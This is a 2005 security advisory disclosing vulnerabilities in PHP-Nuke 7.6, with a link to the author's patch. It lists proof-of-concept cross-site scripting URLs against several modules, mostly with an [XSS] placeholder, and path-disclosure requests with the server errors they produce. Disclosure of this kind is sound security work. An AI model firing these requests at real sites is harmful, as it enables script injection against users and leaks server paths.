[SECURITYREASON.COM] PhpNuke 7.6=>x Multiple vulnerabilities cXIb8O3.12
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[PhpNuke 7.6=>x Multiple vulnerabilities cXIb8O3.12]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 3.3.2005
from securityreason.com TEAM
- --- 0. For ---
This adv. is only for John Poul II, Polish Pope.
Peace!
- --- 1.Description ---
PHP-Nuke is a Web Portal System, storytelling software, news system, online
community or whatever you want to call it. Its goal is to have an automated web
site to distribute news and articles with user system. Each user can submit
comments to discuss the articles, similar to Slashdot and many others.
Features: web admin, polls/surveys with comment, statistics, user customizable
box, themes manager, friendly admin GUI, moderation system, sections manager,
banner system, backend/headlines generation, Yahoo like search engine,
Ephemerids manager, file manager, download manager, faq manager, advanced
blocks system, reviews system, newsletter, content management, encyclopedia
generator, md5 password encryption, phpBB Forums integration, support for 25
languages, 100% modular and more. Written 100% in PHP and requires Apache, PHP
and a SQL Database Server. Supports MySQL, PostgreSQL, Adabas, mSQL and many
others.
- --- 2. XSS ---
2.0
http://[HOST]/[DIR]/banners.php?op=EmailStats&name=sex&bid=[XSS]
2.1
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num
2.2
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num
2.3
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]
2.4
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]
2.5
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]
2.6
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS]
2.7
http://[HOST]/[DIR]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS]
- --- 3. Path Disclousure ---
3.0
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments
Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in
/www/phpnuke/76/html/modules/Surveys/comments.php on line 99
- ---------------
3.1
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments&op=showreply
Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in
/www/phpnuke/76/html/modules/Surveys/comments.php on line 99
- ---------------
3.2
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments&op=DisplayTopic
Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in
/www/phpnuke/76/html/modules/Surveys/comments.php on line 99
- ---------------
3.3
http://[HOST]/[DIR]/themes/3D-Fantasy/theme.php
Error message :
- ---------------
Warning: main(themes/3D-Fantasy/tables.php) [function.main]: failed to open
stream: No such file or directory in
/www/phpnuke/76/html/themes/3D-Fantasy/theme.php on line 41
Warning: main() [function.include]: Failed opening
'themes/3D-Fantasy/tables.php' for inclusion (include_path='.:') in
/www/phpnuke/76/html/themes/3D-Fantasy/theme.php on line 41
- ---------------
- --- 4. How to fix ---
Because phpnuke don't have security contact, you can download my patch from
securityreason.com
http://securityreason.com/patch/PhpNuke-7.6-adv.by.cXIb8O3.12-patch.tar.gz
- --- 5.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
securityreason.com TEAM
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (FreeBSD)
iD8DBQFCUGDxznmvyJCR4zQRArUvAKCowKgAMyjnM3AdIs8hw7H460ywYQCeMDwQ
F5KMVg1nZoyoMtjd0bC4Rkg=
=aEGl
-----END PGP SIGNATURE-----